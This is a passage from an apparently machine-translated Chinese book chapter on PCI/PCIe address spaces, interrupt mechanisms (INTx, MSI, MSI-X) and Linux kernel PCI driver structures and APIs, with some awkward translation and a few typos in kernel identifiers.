配置和内存地址空间是内存映射的-它们从系统地址空间分配了个地址范围,因此对该地址范围的读取和写入不会进入 RAM,而是直接从 CPU 路由到设备,而 I/O 地址空间则不是。 不再赘述,让我们分析它们之间的不同之处以及它们的不同用例。 - -### PCI 配置空间 - -这是地址空间,从中可以访问设备的配置,并存储有关设备的基本信息,操作系统还使用该地址空间根据设备的操作设置对设备进行编程。 PCI 上的配置空间有`256`个字节。 PCIe 将其扩展到`4`KB 的寄存器空间。 因为配置地址空间是内存映射的,所以指向配置空间的任何地址都是从系统内存映射中分配的。 因此,这些`4`KB 空间从系统存储器映射中分配存储器地址,但实际的值/位/内容通常在外围设备的寄存器中实现。 例如,当您读取供应商 ID 或设备 ID 时,即使使用的内存地址来自系统内存映射,目标外围设备也会返回数据。 - -此地址空间的一部分是标准化的。 配置地址空间按如下方式拆分: - -* 前`64`字节(`00h`-`3Fh`)表示用于标识设备的标准配置头,包括 PCI 总线 ID、供应商 ID 和设备 ID 寄存器。 -* 剩余的`192`字节(`40h`-`FFh`)构成用户定义的配置空间,例如 PC 卡附带的软件驱动使用的特定信息。 - -一般来说,配置空间存储有关设备的基本信息。 它允许中央资源或操作系统使用操作设置对设备进行编程。 没有与配置地址空间关联的物理内存。 它是在**TLP**(**事务层分组**)中使用的地址列表,用于标识事务的目标。 - -用于在 PCI 设备的每个**配置地址空间**之间传输数据的命令称为**配置环 ad**命令或**配置写入**命令。 - -### PCI I/O 地址空间 - -如今,I/O 地址空间用于与 x86 架构的 I/O 端口地址空间兼容。 PCIe 规范不鼓励使用此地址空间。 如果 PCI Express 规范的未来修订版不建议使用 I/O 地址空间,也就不足为奇了。 I/O 映射 I/O 的唯一优点是,由于其独立的地址空间,它不会从系统内存空间窃取地址范围。 因此,计算机可以在 32 位系统上访问整个个 4 GB 的 RAM。 - -**I/O READ**和**I/O WRITE**命令用于在**I/O 地址空间**中传输数据。 - -### PCI 存储器地址空间 - -在计算机的早期,英特尔定义了一种通过所谓的 I/O 地址空间访问 I/O 设备中的寄存器的方法。 这在当时是有意义的,因为处理器的内存地址空间相当有限(例如,想想 16 位系统),使用它的某些范围来访问设备几乎没有意义。 当系统内存空间的限制变得不那么大时(例如,考虑 32 位系统,其中 CPU 最多可以寻址 4 GB),I/O 地址空间和内存地址空间之间的分离就变得不那么重要,甚至是繁重的负担。 - -该地址空间有如此多的限制和约束,导致 I/O 设备中的寄存器直接映射到系统的内存地址空间,因此称为内存映射 I/O(MMIO)。 这些限制和约束包括以下内容: - -* 需要一辆专用公交车 -* 单独的指令集 -* 由于它是在 16 位系统时代实现的,端口地址空间仅限于`65536`个端口(相当于 216 个),尽管非常老的机器使用 10 位作为 I/O 地址空间,并且只有 1024 个唯一的端口地址 - -因此,利用内存映射 I/O 的优势变得更加实际。 - -内存映射 I/O 允许通过使用普通内存访问指令简单地读取或写入那些“特殊”地址来访问硬件设备,尽管与 65536 相比,解码高达 4 GB(或更多)地址的成本更高。 也就是说,PCI 设备通过名为 BARs 的窗口公开它们的内存区域。 一个 PCI 设备最多可以有六个条。 - -#### 酒吧的概念 - -**bar**代表**基址寄存器**,是一个 PCI 概念,设备通过它告诉主机它需要多少内存,以及它的类型。 这是内存空间(从系统内存映射中获取),而不是实际的物理 RAM(您实际上可以将 RAM 本身视为一个“专门的内存映射 I/O 设备”,其工作只是保存和回馈数据,尽管对于今天的带有缓存等功能的现代 CPU,这在物理上并不简单)。 BIOS 或操作系统负责将请求的内存空间分配给目标设备。 - -一旦被分配,条就被主机系统(CPU)视为与设备对话的内存窗口。 设备本身不会写入该窗口。 这个概念可以看作是访问 PCI 设备内部和本地的实际物理内存的间接机制。 - -实际上,存储器的实际物理地址和输入/输出寄存器的地址都在 PCI 设备内部。 下面是主机如何处理外围设备的存储空间: - -1. 外围设备通过某种方式告诉系统它有几个存储间隔和 I/O 地址空间,每个间隔有多大,以及它们各自的本地地址。 显然,这些地址都是本地地址和内部地址,都是从`0`开始的。 -2. 在系统软件知道有多少个外围设备以及它们具有什么样的存储间隔后,它们可以为这些间隔分配“物理地址”,并在这些间隔和总线之间建立连接。 这些地址是可访问的。 显然,这里的所谓“物理地址”与真实的物理地址有些不同。 它实际上是一个逻辑地址,因此它通常成为“总线地址”,因为这是 CPU 在总线上看到的地址。 正如您可以想象的那样,外围设备 l 上一定有某种类型的地址映射机制。所谓的“外围设备地址分配”是为它们分配 b 用户地址并建立映射。 - -## 中断分配 - -这里我们将讨论 PCI 设备处理中断的方式。 PCI Express 中有三种中断类型。 这些资料如下: - -* 传统中断,也称为 INTX 中断,是旧 PCI 实现中唯一可用的机制。 -* **MSI**(**基于消息的中断**)扩展了传统机制,例如,通过增加可能的中断数量。 -* MSI-X(扩展 MSI)扩展并增强了 MSI,例如,允许将单个中断定向到不同的处理器(在某些高速网络应用中很有用)。 - -PCI Express 端点中的应用逻辑可以实现上述三个方法中的一个或多个,以 s 发信号通知中断。 让我们来详细看看这些。 - -### PCI 传统的基于 int-X 的中断 - -传统中断管理基于 PCI INT-X 中断线,最多由四条虚拟中断线组成,称为 INTA、INTB、INTC 和 INTD。 这些中断线由系统中的所有 PCI 设备共享。 以下是传统实现为了识别和处理中断而必须经历的步骤: - -1. 该器件断言其 INT#引脚之一以产生中断。 -2. CPU 确认中断,并通过调用它们的中断处理程序轮询连接到该 int#行(共享)的每个设备(实际上是它的驱动)。 服务中断所需的时间取决于共享线路的设备的数量。设备的中断服务例程(ISR)可以通过读取设备的内部寄存器来确定中断的原因,从而检查中断是否源自该设备。 -3. ISR 采取行动来服务中断。 - -在上述方法和传统方法中,中断线路是共享的:每个人都接听电话。 此外,物理中断线是有限的。 在下一节中,我们将了解 MSI 如何解决这些问题并促进中断管理。 - -重要音符 - -I.MX6 分别将 INTA/B/C/D 映射到 ARM GIC IRQ`155`/`154`/`153`/`152`。 这使得 PCIe 到 PCI 网桥能够正常工作。 请参阅 IMX6DQRM.pdf,第 225 页。 - -### 基于消息的中断类型-MSI 和 MSI-X - -有两种基于消息的中断机制:MSI 和 MSI-X,增强和扩展版本。 MSI(或 MSI-X)只是使用 PCI Express 协议层发出中断信号的一种方式,而 PCIe 根联合体(主机)负责中断 CPU。 - -传统上,设备被分配引脚作为中断线路,当它想要向 CPU 发出中断信号时,必须断言该中断线路。 这种信令方法是带外的,因为它使用另一种方式(不同于主数据路径)来发送这种控制信息。 - -然而,MSI 允许设备将少量描述中断的数据写入特殊的内存映射 I/O 地址,然后根联合体负责将相应的中断传递给 CPU。 一旦端点设备想要产生 MSI 中断,它就用消息数据寄存器中指定的数据内容向(目标)消息地址寄存器中指定的地址发出写请求。 由于数据路径用于此,因此它是带内机制。 此外,MSI 增加了可能的中断数量。 这将在下一节中介绍。 - -重要音符 - -PCI Express 完全没有单独的中断引脚。 但是,它在软件级别上与传统中断兼容。 为此,它需要 MSI 或 MSI-X,因为它使用特殊的带内消息来允许模拟引脚断言或取消断言。 换句话说,PCI Express 通过提供`assert_INTx`和`deassert_INTx`来模拟此功能。 消息包通过 PCI Express 串行链路发送。 - -在使用 MSI 的实现中,通常有以下步骤: - -1. 该器件通过向上游发送 MSI 存储器写入来产生中断。 -2. CPU 确认中断并调用适当的器件 ISR,因为这是基于 MSI 矢量预先知道的。 -3. ISR 采取行动来服务中断。 - -MSI 不是共享的,因此分配给设备的 MSI 在系统中保证是唯一的。 不用说,MSI 实现大大减少了中断所需的总服务时间。 - -重要音符 - -大多数人认为 MSI 允许设备将数据作为中断的一部分发送到处理器。 这是一种误解。 事实是,作为内存写入事务的一部分发送的数据仅由芯片组(实际上是根联合体)用来确定在哪个处理器上触发哪个中断;该数据不可用于设备向中断处理程序通信附加信息。 - -#### MSI 机制 - -MSI 最初定义为 PCI 2.2 标准的一部分,允许设备分配 1、2、4、8、16 或最多 32 个中断。 该器件被编程以写入地址以发出中断信号(通常是中断控制器中的控制寄存器),以及用于标识器件的 16 位数据字。 将中断号添加到数据字以标识中断。 - -PCI Express 端点可以通过向根端口发送标准 PCI Express POST 写入分组来发信号通知 MSI。 数据包由特定地址(由主机分配)和主机提供给端点的多达 32 个数据值(因此,32 个中断)之一组成。 与传统中断相比,变化的数据值和地址值提供了更详细的中断事件标识。 在 MSI 规范中,中断屏蔽功能是可选的。 - -这种方法确实有一些限制。 32 个数据值只使用一个地址,这使得很难将单个中断定向到不同的处理器。 这种限制是因为与 MSI 相关联的存储器写操作只能通过它们的目标地址位置(而不是数据)来与其他存储器写操作区分开来,这些地址位置是由系统为中断传送而保留的。 - -以下是 PCI Express 设备的 PCI 控制器驱动执行的 MSI 配置步骤: - -1. 总线枚举过程在启动期间进行。 它包括内核 PCI 核心代码扫描 PCI 总线以发现设备(换句话说,它执行有效供应商 ID 的配置读取)。 当发现 PCI Express 函数时,PCI 核心代码读取能力列表指针以获得寄存器链内的第一能力寄存器的位置。 -2. 然后,PCI 核心代码搜索能力寄存器组。 它一直这样做,直到它发现 MSI 能力寄存器集(能力 ID 为`05h`)。 -3. 之后,PCI 核心代码配置设备,将内存地址分配给设备的消息地址寄存器。 这是发送中断请求时使用的内存写入的目标地址。 -4. PCI 核心代码检查设备的消息控制寄存器中的多消息能力字段,以确定设备希望向其分配多少特定于事件的消息。 -5. 然后,核心代码分配等于或小于设备请求的消息数量。 作为最低要求,将向该设备分配一条消息。 -6. 核心代码将基本消息数据模式写入设备的消息数据寄存器。 -7. 最后,PCI 核心代码在设备的消息控制寄存器中设置 MSI 使能位,从而使其启用,以使用 MSI 存储器写入生成中断。 - -#### MSI-X 机制 - -**MSI-X**只是 PCIe 中 PCI MSI 的扩展-它具有相同的功能,但可以承载更多信息,并且更灵活。 请注意,PCIe 同时支持 MSI 和 MSI-X。 MSI-X 最初是在 PCI 3.0(PCIe)标准中定义的。 它允许设备支持至少 64 个(最小 MSI 中断,但是最大 MSI 中断的两倍)到最多 2,048 个中断。 实际上,MSI-X 允许更多的中断,并为每个中断提供单独的目标地址和数据字。 由于发现原始 MSI 使用的单个地址对某些架构有限制,因此启用 MSI-X 的设备使用地址和数据对,从而允许设备使用多达`2048`个地址和数据对。 多亏了每个端点可用的大量地址值,才有可能将 MSI-X 消息路由到系统中的不同中断使用者,这与 MSI 数据包可用的单个地址不同。 此外,具有 MSI-X 功能的端点还包括屏蔽和保存挂起中断的应用逻辑,以及用于地址和数据对的内存表。 - -除此之外,MSI-X 中断与 MSI 相同。 但是,MSI-X 强制要求 MSI 中的可选功能(如 64 位地址和中断屏蔽)。 - -#### 传统 INTX 仿真 - -因为 PCIe 声称向后兼容传统并行 PCI,所以它还需要支持基于 INTX 的中断机制。 但是,如何才能做到这一点呢? 实际上,在传统 PCI 系统中有四条 INTx(INTA、INTB、INTC 和 INTD)物理 IRQ 线路,它们都是电平触发的,实际上是低有效的(换句话说,只要物理 INTX 线路处于低电压,中断请求就是有效的)。 那么每个 IRQ 在仿真版本中是如何传输的呢? - -答案是 PCIe 通过使用带内信令机制(即所谓的 MSI)来虚拟化 PCI 物理中断信号。 由于每条物理线路有两个级别(断言和取消断言),因此 PCIe 每条线路提供两条消息,称为`assert_INTx`和`deassert_INTx`消息。 总共有八种消息类型:`assert_INTA`、`deassert_INTA`、...`assert_INTD`、`deassert_INTD`。 事实上,它们被简称为 INTX 消息。 这样,INTX 中断就像 MSI 和 MSI-X 一样在 PCIe 链路上传播。 - -这种向后兼容性主要用于 PCI 到 PCIe 桥芯片的 STS,以便 PCI 设备可以在不修改驱动的情况下在 PCIe 系统中正常工作。 - -现在我们熟悉了 PCI 子系统中的中断分配。 我们讨论了传统的基于 int-X 的机制和基于消息的机制。 现在是深入研究代码的时候了,从数据结构到 API。 - -# Linux 内核 PCI 子系统和数据结构 - -Linux 内核支持 PCI 标准,并提供 API 来处理这样的设备。 在 Linux 中,PCI 实现大致可以分为以下主要组件: - -* **PCI BIOS**: This is an architecture-dependent part in charge of kicking off the PCI bus initialization. ARM-specific Linux implementation lies in `arch/arm/kernel/bios32.c`. The PCI BIOS code interfaces with PCI Host Controller code as well as the PCI core in order to perform bus enumeration and the allocation of resources, such as memory and interrupts. - - BIOS 执行的成功完成保证了系统中的所有 PCI 设备都被分配了部分可用的 PCI 资源,并且它们各自的驱动(称为从驱动或端点驱动)可以使用 PCI 核心提供的设施来控制它们。 - - 在这里,内核调用体系结构和特定于板卡的 PCI 功能的服务。 这里完成了 PCI 配置的两个重要任务。 第一个任务是扫描总线上的所有 PCI 设备,配置它们,并分配内存资源。 第二项任务是配置设备。 此处配置意味着保留了资源(内存)并分配了 IRQ。 这并不意味着已初始化。 初始化是特定于设备的,应该由设备驱动完成。 PCI BIOS 可以选择跳过资源分配(如果它们是在 Linux 启动之前分配的,例如,在 PC 方案中)。 - -* **主机控制器**(根联合体):此部件特定于 SoC(位于`drivers/pci/host/`,换句话说,对于 r-car SoC,位于`drivers/pci/controller/pcie-rcar.c`)。 但是,某些 SoC 可能会实施来自给定供应商的相同 PCIe IP 块,例如 Synopsys DesignWare。 这样的控制器可以在相同的目录中找到,比如内核源代码中的`drivers/pci/controller/dwc/`。 例如,其 PCIe IP 块来自该供应商的 i.MX6 具有用`drivers/pci/controller/dwc/pci-imx6.c`实现的驱动。该部件处理特定于 SoC(有时是主板)的初始化和配置,并可能调用 PCI BIOS。 但是,它应该为 BIOS 和 PCI 核心提供 PCI 总线访问和设施回调函数,这些函数将在 PCI 系统初始化期间和在配置周期访问 PCI 总线时被调用。 此外,它还提供可用内存/IO 空间、INTx 中断线和 MSI 的资源信息。 它应便于 IO 空间访问(如受支持),并且可能还需要提供间接内存访问(如果硬件支持)。 -* **Core**(`drivers/pci/probe.c`):负责为系统中的总线、设备和网桥创建和初始化数据结构树。 它处理总线/设备编号。 它创建设备条目并提供`proc/sysfs`信息。 它还为 PCI BIOS 和从设备(**End Point**)驱动提供服务,并提供可选的热插拔支持(如果硬件支持)。 它以(**EP**)驱动接口查询为目标,并初始化枚举期间找到的相应设备。 它还提供 MSI 中断处理框架和 PCI Express 端口总线支持。 所有这些都足以促进 Linux 内核中设备驱动的开发。 - -## PCI 数据结构 - -Linux kernelPCI 框架帮助开发 PCI 设备驱动,这些驱动构建在两个主要数据结构之上:`struct pci_dev`,表示内核中的 PCI 设备 from;和`struct pci_driver`,表示 PCI 驱动。 - -### 结构 pci_dev - -这是内核用来实例化系统上的每个 PCI 设备的结构。 它描述设备并存储其一些状态参数。 该结构在`include/linux/pci.h`中定义如下: - -```sh -struct pci_dev { -  struct pci_bus    *bus; /* Bus this device is on */ -  struct pci_bus *subordinate; /* Bus this device bridges to */ -    struct proc_dir_entry *procent; -    struct pci_slot *slot; -    unsigned short vendor; -    unsigned short device; -    unsigned short subsystem_vendor; -    unsigned short subsystem_device; -    unsigned int class; -   /* 3 bytes: (base,sub,prog-if) */ -   u8 revision;     /* PCI revision, low byte of class word */ -   u8 hdr_type; /* PCI header type (multi' flag masked out) */ -   u8 pin;                /* Interrupt pin this device uses */ -   struct pci_driver *driver; /* Driver bound to this device */ -   u64 dma_mask; -   struct device_dma_parameters dma_parms; -    struct device dev; -    int cfg_size; -    unsigned int irq; -[...] -    unsigned int no_msi:1; /* May not use MSI */ -    unsigned int no_64bit_msi:1; /* May only use 32-bit MSIs */ -    unsigned int msi_enabled:1; -    unsigned int msix_enabled:1;     atomic_t enable_cnt; -[...] -}; -``` - -在前面的块中,出于可读性的考虑,删除了一些元素。 对于剩余的,以下元素具有以下含义: - -* `procent`是`/proc/bus/pci/`中的设备条目。 -* `slot`是此设备所在的物理插槽。 -* `vendor`是设备制造商的供应商 ID。 PCI 特殊利益集团维护着这类号码的全球注册,制造商必须申请为其分配一个唯一的号码。 该 ID 存储在设备配置空间的 16 位寄存器中。 -* `device`是探测到此特定设备后标识该设备的 ID。 这取决于供应商,因此没有官方注册。 这也存储在 16 位寄存器中。 -* `subsystem_vendor`和`subsystem_device`指定 PCI 子系统供应商和子系统设备 ID。 正如我们在前面看到的,它们可以用来进一步识别设备。 -* `class`标识此设备所属的类别。 它存储在 16 位寄存器中(在设备配置空间中),其最高 8 位标识基类或基组。 -* `pin`是该器件使用的中断引脚,对于传统的基于 INTX 的中断。 -* `driver`是与此设备关联的驱动。 -* `dev`是此 PCI 设备的底层设备结构。 -* `cfg_size`是配置空间的大小。 -* `irq` is the field that is worth spending time on. When the device boots, MSI(-X) mode is not enabled and it remains unchanged until it is explicitly enabled by means of the `pci_alloc_irq_vectors()` API (old drivers use `pci_enable_msi()`). - - 因此,`irq`首先对应于默认的预分配非 MSI IRQ。 但是,其值或用法可能会根据以下情况之一发生变化: - - A)在 MSI 中断模式下(在设置了`PCI_IRQ_MSI`标志的情况下成功调用`pci_alloc_irq_vectors()`时),该字段的(预先分配的)值被新的 MSI 矢量替换。 此向量对应于已分配向量的基本中断号,因此与向量 X(从 0 开始的索引)对应的 IRQ 号等同于(与)`pci_dev->irq + X`(参见`pci_irq_vector()`函数,该函数旨在返回设备向量的 Linux IRQ 号)。 - - B)在 MSI-X 中断模式下(在设置了`PCI_IRQ_MSIX`标志的情况下成功调用`pci_alloc_irq_vectors()`时),该字段的(预先分配的)值不受影响(因为每个 MSI-X 矢量都有其专用的报文地址和报文数据对,这不需要 1:1 矢量到条目的映射)。 但是,在此模式下,`irq`无效。 在驱动中使用它来请求服务中断可能会导致不可预知的行为。 因此,如果需要 MSI(-X),则应在驱动调用`devm_equest_irq()`之前调用`pci_alloc_irq_vectors()`函数(该函数使 MXI(-X)先于分配向量),因为 MSI(-X)是通过与基于管脚的中断的向量不同的向量传递的。 - -* `msi_enabled`保持 MSI IRQ 模式的启用状态。 -* `msix_enabled`保持 MSI-X IRQ 模式的启用状态。 -* `enable_cnt`保存调用`pci_enable_device()`的次数。 这有助于在`pci_enable_device()`的所有调用方都调用`pci_disable_device()`之后,真正禁用设备。 - -### 结构 pci_device_id - -`struct pci_dev`描述设备,而`struct pci_device_id`用于标识设备。 该结构定义如下: - -```sh -struct pci_device_id { -    u32 vendor, device; -    u32 subvendor, subdevice; -    u32 class, class_mask; -    kernel_ulong_t driver_data; -}; -``` - -为了理解该结构对 PCI 驱动的重要性,我们来描述一下它的每个元素: - -* `vendor`和`device`分别表示设备的供应商 ID 和设备 ID。 两者成对使用,构成设备的唯一 32 位标识符。 驱动依赖此 32 位标识符来标识其设备。 -* `subvendor`和`subdevice`表示子系统 ID。 -* `class`、`class_mask`是与类相关的 PCI 驱动,旨在处理给定类的每个设备。 对于此类驱动器,应将`vendor`和`device`设置为`PCI_ANY_ID`。 PCI 规范中描述了不同类别的 PCI 设备。 这两个值允许驱动指定它支持一种 PCI 类设备。 -* `driver_data`是驱动私有的数据。 此字段不用于标识设备,而是传递不同的数据以区分不同的设备。 - -有三个宏可用于创建`struct pci_device_id`的特定实例: - -* `PCI_DEVICE`:此宏用于通过创建`struct pci_device_id`来描述特定的 PCI 设备,该`struct pci_device_id`将特定的 PCI 设备与作为参数(`PCI_DEVICE(vend,dev)`)给定的供应商和设备 ID 相匹配,并且子供应商、子设备和与类相关的字段设置为`PCI_ANY_ID`。 -* `PCI_DEVICE_CLASS`:此宏用于通过创建将特定 PCI 类与作为参数(`PCI_DEVICE_CLASS(dev_class,dev_class_mask)`)的`class`和`class_mask`相匹配的`struct pci_device_id`来描述特定的 PCI 设备类。 供应商、设备、子供应商和子设备字段将设置为`PCI_ANY_ID`。 一个典型的例子是`PCI_DEVICE_CLASS(PCI_CLASS_STORAGE_EXPRESS, 0xffffff)`,它对应于 NVMe 设备的 PCI 类,并且无论供应商和设备 ID 是什么,它都将匹配其中的任何一个。 -* `PCI_DEVICE_SUB`:此宏用于通过创建将特定设备与作为参数(`PCI_DEVICE_SUB(vend, dev, subvend, subdev)`)给出的子系统信息相匹配的`struct pci_device_id`来描述具有子系统的特定 PCI 设备。 - -驱动支持的每个设备/类都应该输入到相同的数组中以备后用(我们将在两个地方使用它),如下例所示: - -```sh -static const struct pci_device_id bt8xxgpio_pci_tbl[] = { -  { PCI_DEVICE(PCI_VENDOR_ID_BROOKTREE, PCI_DEVICE_ID_BT848) }, -  { PCI_DEVICE(PCI_VENDOR_ID_BROOKTREE, PCI_DEVICE_ID_BT849) }, -  { PCI_DEVICE(PCI_VENDOR_ID_BROOKTREE, PCI_DEVICE_ID_BT878) }, -  { PCI_DEVICE(PCI_VENDOR_ID_BROOKTREE, PCI_DEVICE_ID_BT879) }, -  { 0, }, -}; -``` - -每个`pci_device_id`结构都需要导出到用户空间,以便让热插拔和设备管理器(`udev`、`mdev`等)。 了解哪个驱动与哪个设备配套。 将它们全部送入同一阵列的第一个原因是,它们可以在一次拍摄中导出。 要实现这一点,应使用`MODULE_DEVICE_TABLE`宏,如下例所示: - -```sh -MODULE_DEVICE_TABLE(pci, bt8xxgpio_pci_tbl); -``` - -此宏使用给定信息创建自定义节。 在编译时,构建过程(更准确地说是`depmod`)从驱动中提取此信息,并构建一个名为`modules.alias`的人类可读表,该表位于`/lib/modules//`目录中。 当内核告诉热插拔系统有新设备可用时,hotplug 系统将参考`modules.alias`文件来查找要加载的正确驱动。 - -### 结构 PCI_Driver - -此结构表示 PCI 设备驱动的一个实例,无论它是什么,也不管它属于什么子系统。 它是每个 PCI 驱动必须创建和填充的主要结构,以便能够将它们注册到内核。 `struct pci_driver`定义如下: - -```sh -struct pci_driver { -   const char *name; -   const struct pci_device_id *id_table; int (*probe)(struct                                                   pci_dev *dev, -   const struct pci_device_id *id); void (*remove)(struct                                                 pci_dev *dev); -   int (*suspend)(struct pci_dev *dev, pm_message_t state);   int (*resume) (struct pci_dev *dev); /* Device woken up */ -   void (*shutdown) (struct pci_dev *dev); [...] -}; -``` - -这个结构中的部分元素已经被移除,因为它们对我们没有兴趣。 下面是结构中其余字段的含义: - -* `name`:这是驱动的名称。 因为驱动是通过它们的名称来标识的,所以它在内核中的所有 PCI 驱动中必须是唯一的。 通常将此字段设置为与驱动的模块名称相同的名称。 如果同一子系统总线中已有同名的驱动寄存器,则您的驱动注册将失败。 要了解它在幕后是如何工作的,请查看[https://elixir.bootlin.com/linux/v4.19/source/drivers/base/driver.c#L146](https://elixir.bootlin.com/linux/v4.19/source/drivers/base/driver.c#L146)上的`driver_register()`。 -* `id_table`:这应该指向前面描述的`struct pci_device_id`表。 这是该结构在驱动中使用的第二个也是最后一个位置。 它必须为非空,才能调用探测。 -* `probe`:这是指向驱动的`probe`函数的指针。 当 PCI 设备与驱动的`id_table`中的条目匹配(通过供应商/产品 ID 或类别 ID)时,PCI 核心将调用它。 如果此方法成功初始化设备,则应返回`0`,否则返回负错误。 -* `remove`:当此驱动处理的设备从系统中移除(从总线上消失)或从内核卸载驱动时,PCI 核心会调用此函数。 -* `suspend`, `resume`, and `shutdown`: These are optional but recommended power management functions. In those callbacks, you can use PCI-related power management helpers such as `pci_save_state()` or `pci_restore_state()`, `pci_disable_device()` or `pci_enable_device()`, `pci_set_power_state()`, and `pci_choose_state()`. These callbacks are invoked by the PCI core, respectively: - - -设备挂起时,状态作为回调的参数给出。 - - -当设备正在恢复时。 这可能仅在调用`suspend`之后发生。 - - -用于设备的正常关闭。 - -以下是正在初始化的 PCI 驱动结构的示例: - -```sh -static struct pci_driver bt8xxgpio_pci_driver = { -    .name = "bt8xxgpio", -    .id_table = bt8xxgpio_pci_tbl, -    .probe = bt8xxgpio_probe, -    .remove = bt8xxgpio_remove, -    .suspend = bt8xxgpio_suspend, -    .resume = bt8xxgpio_resume, -}; -``` - -#### 注册 PCI 驱动 - -向 PCI 核心注册 PCI 驱动包括调用`pci_register_driver()`,给出一个参数作为指向前面设置的`struct pci_driver`结构的指针。 这应该在模块的`init`方法中完成,如下所示: - -```sh -static int init pci_foo_init(void) -{ -    return pci_register_driver(&bt8xxgpio_pci_driver); -} -``` - -`pci_register_driver()`如果注册时一切正常,则返回`0`,否则返回负错误。 此返回值由内核处理。 - -但是,在模块的卸载路径上,需要取消注册`struct pci_driver`,这样系统就不会尝试使用相应模块已不存在的驱动。 因此,卸载 PCI 驱动需要调用`pci_unregister_driver()`,以及指向与注册相同的结构的指针,如下所示。 这应在模块`exit`函数中完成: - -```sh -static void exit pci_foo_exit(void) -{ -    pci_unregister_driver(&bt8xxgpio_pci_driver); -} -``` - -也就是说,由于这些操作经常在 PCI 驱动中重复,因此 PCI 核心公开`module_pci_macro()`宏,以便自动处理注册/注销,如下所示: - -```sh -module_pci_driver(bt8xxgpio_pci_driver); -``` - -这个宏更安全,因为它同时负责注册和注销,防止一些开发人员提供一个而忘记另一个。 - -现在我们熟悉了最重要的 PCI 数据结构-`struct pci_dev`、`pci_device_id`和`pci_driver`,以及用于处理这些数据结构的连字符助手。 逻辑上的延续是驱动结构,在该结构中,我们了解在哪里以及如何使用前面列举的数据结构。 - -## PCI 驱动结构概述 - -在编写 PCI 设备驱动时,需要遵循一些步骤,其中一些步骤需要按照预定义的顺序执行。 她的 e,我们尝试详细讨论每个步骤,并在适用的情况下解释细节。 - -### 启用设备 - -在 PCI 设备上执行任何操作之前(甚至仅用于读取其配置寄存器),必须启用此 PCI 设备,这必须由代码显式完成。 内核为此提供了`pci_enable_device()`。 此函数初始化设备,以便驱动可以使用它,要求低级代码启用 I/O 和内存。 它还处理 PCI 电源管理唤醒,这样如果设备挂起,它也会被唤醒。 下面是`pci_enable_device()`的外观: - -```sh -int pci_enable_device(struct pci_dev *dev) -``` - -由于`pci_enable_device()`可能失败,因此必须检查它返回的值,如下例所示: - -```sh -int err; -    err = pci_enable_device(pci_dev);     if (err) { -    printk(KERN_ERR "foo_dev: Can't enable device.\n"); -    return err; -} -``` - -请记住,`pci_enable_device()`将同时初始化内存映射条和 I/O 条。 但是,您可能想要初始化一个而不是另一个,因为您的设备不同时支持这两个,或者因为您不会在驱动中同时使用这两个。 - -为了不初始化 I/O 空间,您可以使用启用方法的另一个变体`pci_enable_device_mem()`。 另一方面,如果您只需要处理 I/O 空间,则可以使用`pci_enable_device_io()`变体。 这两种变体的不同之处在于,`pci_enable_device_mem()`将仅初始化内存映射条,而`pci_enable_device_io()`将初始化 I/O 条。 请注意,如果设备被多次启用,则每个操作都会递增`struct pci_dev`结构中的`.enable_cnt`字段,但只有第一个操作才会真正作用于该设备。 - -当要禁用 PCI 设备时,无论使用哪种启用变量,都应采用`pci_disable_device()`方法。 该方法向系统发出系统不再使用 PCI 设备的信号。 以下是它的原型: - -```sh -void pci_disable_device(struct pci_dev *dev) -``` - -`pci_disable_device()`如果激活,还会禁用器件上的总线主控。 但是,直到`pci_enable_device()`(或其变体之一)的所有调用方都调用了`pci_disable_device()`,该设备才会被禁用。 - -#### 总线主控能力 - -根据定义,PCI 设备可以在其成为总线主控器的时刻启动总线上的事务。 设备启用后,您可能需要启用总线主控。 - -这实际上包括通过设置适当配置寄存器中的总线主控位在设备中启用 DMA。 PCI 内核为此提供了`pci_set_master()`。 此方法实际上还调用`pci_bios (pcibios_set_master()`,以便执行必要的特定于 Arch 的设置。 `pci_clear_master()`将通过清除总线主控位来禁用 DMA。 这是相反的操作: - -```sh -void pci_set_master(struct pci_dev *dev) -void pci_clear_master(struct pci_dev *dev) -``` - -请注意,如果设备打算执行 DMA 操作,则必须调用`pci_set_master()`。 - -### 访问配置寄存器 - -一旦设备绑定到驱动并由驱动启用后,访问设备内存空间就很常见了。 通常最先访问的是配置空间。 传统的 PCI 和 PCI-X 模式 1 设备具有 256 字节的配置空间。 PCI-X 模式 2 和 PCIe 设备有 4096 字节的配置空间。 驱动能够访问设备配置空间,或者读取驱动正常操作所必需的信息,或者设置一些重要参数,这是最基本的。 内核为不同大小的数据配置空间公开标准和专用 API(读写)。 - -为了从设备配置空间读取数据,您可以使用以下原语: - -```sh -int pci_read_config_byte(struct pci_dev *dev, int where,                          u8 *val); -int pci_read_config_word(struct pci_dev *dev, int where,                          u16 *val); -int pci_read_config_dword(struct pci_dev *dev, int where,                           u32 *val); -``` - -上述代码分别读取由`dev`参数表示的 PCI 设备的配置空间中的一个、两个或四个字节。 将`read`值返回给`val`参数。 在将数据写入设备配置空间时,您可以使用以下原语: - -```sh -int pci_write_config_byte(struct pci_dev *dev, int where,                           u8 val); -int pci_write_config_word(struct pci_dev *dev, int where,                           u16 val); -int pci_write_config_dword(struct pci_dev *dev, int where,                            u32 val); -``` - -上述原语分别将一个、两个或四个字节写入设备配置空间。 `val`参数表示要写入的值。 - -在读取或写入情况下,`where`参数是距配置空间开头的字节偏移量。 但是,内核中存在一些经常访问的配置偏移量,这些配置偏移量由`include/uapi/linux/pci_regs.h`中定义的符号命名宏来标识。 以下是简短的摘录: - -```sh -#define PCI_VENDOR_ID 0x00 /* 16 bits */ -#define PCI_DEVICE_ID 0x02 /* 16 bits */ -#define PCI_STATUS 0x06 /* 16 bits */ -#define PCI_CLASS_REVISION  0x08  /* High 24 bits are class,                                      low 8 revision */ -#define    PCI_REVISION_ID   0x08  /* Revision ID */ -#define    PCI_CLASS_PROG    0x09  /* Reg. Level Programming                                       Interface */ -#define    PCI_CLASS_DEVICE  0x0a  /* Device class */ -[...] -``` - -因此,要获取给定 PCI 设备的修订 ID,可以使用以下示例: - -```sh -static unsigned char foo_get_revision(struct pci_dev *dev) -{ -    u8 revision; -    pci_read_config_byte(dev, PCI_REVISION_ID, &revision); -    return revision; -} -``` - -在上面,我们使用`pci_read_config_byte()`,因为修订只由一个字节表示。 - -重要音符 - -由于数据以低位序格式存储在 PCI 设备中(或从 PCI 设备读取),读原语(实际上是`word`和`dword`变体)负责将读取的数据转换为 CPU 的本机字符顺序,而 WRite 原语(`word`和`dword`变体)负责在将数据写入设备之前将数据从原生 CPU 字节顺序转换为低位序。 - -### 访问内存映射的 I/O 资源 - -内存寄存器几乎用于其他所有事情,例如,用于突发事务。 这些寄存器实际上对应于设备内存条。 